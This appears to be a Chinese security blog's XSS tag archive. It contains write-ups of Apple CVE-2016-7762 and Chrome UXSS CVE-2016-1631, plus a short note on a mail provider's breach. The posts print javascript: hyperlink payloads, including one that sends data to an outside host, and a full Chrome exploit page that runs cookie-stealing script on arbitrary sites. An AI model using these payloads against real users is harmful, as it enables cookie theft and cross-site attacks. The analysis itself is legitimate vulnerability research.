标签归档:XSS

一个有意思的Apple XSS(CVE-2016-7762)的 分析与思考

原创发于先知论坛:https://xianzhi.aliyun.com/forum/read/755.html

0x00 前言

应CVE作者的要求帮忙分析一下这个漏洞,实际上这是一个思路比较有意思的Apple XSS(CVE-2016-7762)。漏洞作者确实脑洞比较大也善于尝试和发掘,这里必须赞一个!

0x01 分析与利用

官方在2017年1月24日发布的安全公告中如下描述:

  • 可利用设备:iPhone 5 and later, iPad 4th generation and later, iPod touch 6th generation and later
  • 漏洞影响:处理恶意构造的web内容可能会导致XSS攻击
  • 漏洞描述:Safari在显示文档时产生此漏洞,且该漏洞已通过修正输入校验被解决了

那么,该漏洞真的如安全公告中所描述的那样被解决了吗?实际上,结果并非如此。

在分析之前,首先先了解一下这到底是个什么漏洞。

POC:

  • 创建一个文档文件,比如:
    • Word文件(docx)
    • PPT文件(pptx)
    • 富文本文件(rtf)
  • 添加一个超链接并插入JS脚本,如:
    • javascript:alert(document.domain);void(0)
    • javascript:alert(document.cookie);void(0)
    • javascript:alert(location.href);void(0)
    • javascript:x=new Image();x.src=”http://i0f.in/authtest.php?id=OAsMdS&info=”;
  • 上传文件至web服务器然后在Apple设备上使用如下应用打开,如:
    • Safari
    • QQ Browser
    • Firefox Browser
    • Google Browser
    • QQ客户端
    • 微信客户端
    • 支付宝客户端
  • 点击文档文件中的超链接,上述JS脚本将会被执行从而造成了XSS漏洞

效果图如下:


回顾一下上面的POC,发现其实该漏洞不仅仅存在于Safari中而是普遍存在于使用了WebKit的APP中。

我们都知道,iOS APP要想像浏览器一样可以显示web内容,那么就必须使用WebKit。这是因为WebKit提供了一系列的类用于实现web页面展示,以及浏览器功能。而其中的WKWebView(或者UIWebView)就是用来在APP中显示web内容的。而当我们使用Safari或者使用了WebKit的APP去打开一个URL时,iOS就会自动使用WKWebView/UIWebView来解析和渲染这些页面或者文档。当受害人点击web服务器上的文档中的链接时,就会导致超链接中插入的javascript脚本被执行从而造成了XSS。这是因为WKWebView/UIWebView在解析和渲染远程服务器上的文档文件时并没有对文档中内嵌的内容做很好的输入校验导致的。

该漏洞单从利用的角度来说还是比较鸡肋的,因为漏洞的触发必须依赖于用户点击文档中的超链接,笔者可以想到的可能的利用场景如下:

  • 攻击者上传了一个包含了恶意JS的超链接(比如:个人博客链接)的Word文件(比如:个人简历)至招聘网站
  • 受害者(比如:HR或者猎头)登录招聘网站且使用iPhone或者iPad上的Safari在线打开该简历中的“博客链接”,那么此时攻击者很可能就成功获取了受害者的该网站cookie之类的信息

0x02 思考

这个XSS漏洞本身其实并没有太多的技术含量或者技巧,但是在挖掘思路上却是很有意思且值得思考的。漏洞作者并没有将利用js直接插入至web页面本身,而是巧妙地利用了某些文档中的超链接绕过了WebKit的输入校验。这也从一定程度上再次阐释了web安全中一个最基本的原则即“所有输入都是不安全的”,不管是直接输入或者是间接输入。我们在做应用或者产品的安全设计时最好能够确认各种信任边界以及输入输出,且做好校验过滤以及必要的编码,这样才能有效的防范这种间接输入导致的漏洞。

0x03 参考

https://support.apple.com/en-us/HT207422

https://developer.apple.com/reference/webkit

https://developer.apple.com/reference/webkit/wkwebview

https://developer.apple.com/reference/uikit/uiwebview

一个价值7500刀的Chrome UXSS(CVE-2016-1631)分析与利用

0x00 前言

本文的写作来源于前几天一个小伙伴发过来一个漏洞链接让笔者帮忙解释一下漏洞原理,为了便于小伙伴的理解且留作笔记供日后查阅遂写此文。

本文讨论的漏洞已早已修复,但作为漏洞研究还是很有价值的。此漏洞由研究人员Marius Mlynski发现并于2015年12月14日报告的一个Chrome不当地使用Flash消息循环而产生的UXSS漏洞(CVE-2016-1631)。

0x01 分析

漏洞影响:

Chrome 47.0.2526.80 (Stable)
Chrome 48.0.2564.41 (Beta)
Chrome 49.0.2587.3 (Dev)
Chromium 49.0.2591.0 + Pepper Flash

原漏洞报告如下:

From /content/renderer/pepper/ppb_flash_message_loop_impl.cc:
----------------
int32_t PPB_Flash_MessageLoop_Impl::InternalRun(
    const RunFromHostProxyCallback& callback) {
(...)
  // It is possible that the PPB_Flash_MessageLoop_Impl object has been
  // destroyed when the nested message loop exits.
  scoped_refptr<State> state_protector(state_);
  {
    base::MessageLoop::ScopedNestableTaskAllower allow(
        base::MessageLoop::current());
    base::MessageLoop::current()->Run();
  }
(...)
}
----------------

报告者解释说:PPB_Flash_MessageLoop_Impl::InternalRun在运行一个嵌套消息循环之前没有初始化ScopedPageLoadDeferrer,从而导致能够在任意Javascrpit的执行点加载一个跨域文档造成了XSS。

接下来,我们来看看报告者提供的POC,主要有三个文件:

  • p.as: 一个ActionScript脚本文件
  • p.swf: 一个swf格式的Flash文件
  • poc.html: 具体的poc代码

p.as:

package {
  import flash.display.*;
  import flash.external.*;
  import flash.printing.*;
  public class p extends Sprite {
    public function f():void {
      new PrintJob().start();
    }
    public function p():void {
      ExternalInterface.addCallback('f', f);
      ExternalInterface.call('top.cp');
    }
  }
}
poc.html:

<script>
if (location.href.startsWith('file')) {
  throw alert('This does not work from file:, please put it on an HTTP server.')
}

var c0 = 0;
function cp() {
  ++c0;
}

var fs = [];
for (var a = 0; a < 10; a++) {
  var i = document.documentElement.appendChild(document.createElement('iframe'));
  i.src = 'p.swf';
  fs.push(i);
}

// This function will call into Flash, which will start a PrintJob,
// which will send a PPB_Flash_MessageLoop message to the renderer,
// which will spin a nested event loop on the main thread through
// PPB_Flash_MessageLoop_Impl::InternalRun, which doesn't set up a
// ScopedPageLoadDeferrer.
function message_loop() {
  var pw = fs.pop().contentWindow;
  pw.name = 'p' + fs.length;
  // The magic happens here:
  pw.document.querySelector('embed').f();
  // Clean-up phase -- now that the print operation has served its
  // purpose of spinning a nested event loop, kill the print dialog
  // in case it's necessary to spin the loop again.
  var a = document.createElement('a');
  a.href = 'about:blank';
  a.target = 'p' + fs.length;
  a.click();
  if (fs.length < 6) {
    var then = Date.now();
    while (Date.now() - then < 1000) {}
  }
}

function f() {
  if (c0 == 10) {
    clearInterval(t);
    // The initial location of this iframe is about:blank.
    // It shouldn't change before the end of this function
    // unless a nested event loop is spun without a
    // ScopedPageLoadDeferrer on the stack.
    // |alert|, |print|, etc. won't work, as they use a
    // ScopedPageLoadDeferrer to defer loads during the loop.
    var i = document.documentElement.appendChild(document.createElement('iframe'));
    // Let's schedule an asynchronous load of a cross-origin document.
    i.contentWindow.location.href = 'data:text/html,';
    // Now let's try spinning the Flash message loop.
    // If the load succeeds, |i.contentDocument| will throw.
    try {
      while (i.contentDocument) { message_loop(); }
    } catch(e) {}

    // Check the final outcome of the shenanigans.
    try {
      if (i.contentWindow.location.href === 'about:blank') {
        alert('Nothing unexpected happened, good.');
      }
    } catch(e) {
      alert('The frame is cross-origin already, this is bad.');
    }
  }
}

var t = setInterval(f, 100);
</script>

POC的原理就是在页面中创建多个源为Flash文件的iframe,然后调用as脚本开启打印工作任务,此时Chrome将通过PPB_Flash_MessageLoop_Impl::InternalRun方法在主线程中运行一个嵌套的MessageLoop消息循环来发送PPB_Flash_MessageLoop消息给渲染器,由于PPB_Flash_MessageLoop_Impl::InternalRun方法没有在栈上设置ScopedPageLoadDeferrer来推迟加载从而导致嵌套的MessageLoop在循环时能够回调脚本并加载任意资源造成了UXSS漏洞。

那么,如何来理解这个漏洞呢?

在Chrome中,我们知道,每个线程都有一个MessageLoop(消息循环)实例。报告中的PPB_Flash_MessageLoop_Impl实际上就是Chrome处理Flash事件的消息循环的实现。当浏览器接收到要打印Flash文件的消息时,会开启一个MessageLoop来处理打印事件,而此时如果在运行的嵌套的消息循环里没有终止脚本的回调以及资源加载的方法的话,就可以通过脚本回调代码绕过SOP加载任意资源,也就造成了XSS漏洞。

从下面是源代码作者做的修复可以更好的了解漏洞的产生原因。

不难发现,源码作者实际上仅做了以下更改:

1. 添加了#include “third_party/WebKit/public/web/WebView.h”;

2. 在执行base::MessageLoop::current()->Run();之前添加了blink::WebView::willEnterModalLoop();

3. 在执行base::MessageLoop::current()->Run();之后添加了blink::WebView::didExitModalLoop();

找到third_party/WebKit/public/web/WebView.h文件,我们在当中找到了步骤2和3的方法如下:

third_party/WebKit/public/web/WebView.h:
-----------------------
    // Modal dialog support ------------------------------------------------
    // Call these methods before and after running a nested, modal event loop
    // to suspend script callbacks and resource loads.
    BLINK_EXPORT static void willEnterModalLoop();
    BLINK_EXPORT static void didExitModalLoop();
(...)
-----------------------

显然, 修复漏洞的方法就是在执行一个嵌套的模态事件循坏前后调用这2个方法来防止脚本的回调以及资源的加载,从而阻止了因为脚本回调而绕过SOP的XSS漏洞的产生。

0x02 利用

首先,下载exploit并部署到你的web服务器上。

解压后,文档目录如下:

├── exploit
│   ├── exploit.html
│   ├── f.html
│   ├── p.as
│   └── p.swf

打开exploit.html修改如下:

<script>
var c0 = 0;
var c1 = 0;
var fs = [];

function cp() {
  ++c0;
}

for (var a = 0; a < 10; a++) {
  var i = document.documentElement.appendChild(document.createElement('iframe'));
  i.src = 'p.swf';
  fs.push(i);
}

function ml() {
  var pw = fs.pop().contentWindow;
  pw.name = 'p' + fs.length;
  pw.document.querySelector('embed').f();
  var a = document.createElement('a');
  a.href = 'about:blank';
  a.target = 'p' + fs.length;
  a.click();
  if (fs.length < 6) {
    var then = Date.now();
    while (Date.now() - then < 1000) {}
  }
}

function f() {
  if (++c1 == 2) {
    var x1 = x.contentWindow[0].frameElement.nextSibling;
    x1.src = 'http://avfisher.win/'; //此处可修改成目标浏览器上打开的任意的站点
    try {
      while (x1.contentDocument) { ml(); }
    } catch(e) {
      x1.src = 'javascript:if(location!="about:blank")alert(document.cookie)'; //此处为在目标站点上想要执行的js代码
    }
  }
}

function c() {
  if (c0 == 10) {
    clearInterval(t);
    x = document.documentElement.appendChild(document.createElement('iframe'));
    x.src = 'f.html';
  }
}

var t = setInterval(c, 100);
</script>

利用效果如下:

0x03 参考

https://bugs.chromium.org/p/chromium/issues/detail?id=569496

https://codereview.chromium.org/1559113002/diff/40001/content/renderer/pepper/ppb_flash_message_loop_impl.cc?context=10&column_width=80&tab_spaces=8

https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/third_party/WebKit/public/web/WebView.h

https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/base/message_loop/message_loop.h#581

http://blog.csdn.net/zero_lee/article/details/7905121

http://www.360doc.com/content/13/0422/16/168576_280145531.shtml

中国互联网安全现状之邮箱篇

昨天的安全圈子已被国内某知名邮箱提供服务商的数据泄漏事件刷屏了,各种网(si)友(bi)评(da)论(zhan),”安全砖家”分析层出不穷,一时间谣言四起。

IMG_2

该公司也在事后发表了声明和律师函加以澄清和说明。

IMG_1

但是事情的真相又是如何呢?笔者不清楚,也不会妄加评论,只是从一些以往的公开的安全事件和漏洞中来做一个简要的梳理和分析。

以下是该公司从今天5月份至今的所有被公开或者揭露的安全事件和漏洞列表:

126

我简单地对其作了分析处理如下:

0x01 漏洞来源

source

0x02 漏洞趋势

trend

0x03 漏洞类型

type

声明:以上所有数据均来自于互联网的公开数据

相关链接:

http://www.wooyun.org/bugs/wooyun-2015-0147763

https://www.t00ls.net/articles-31777.html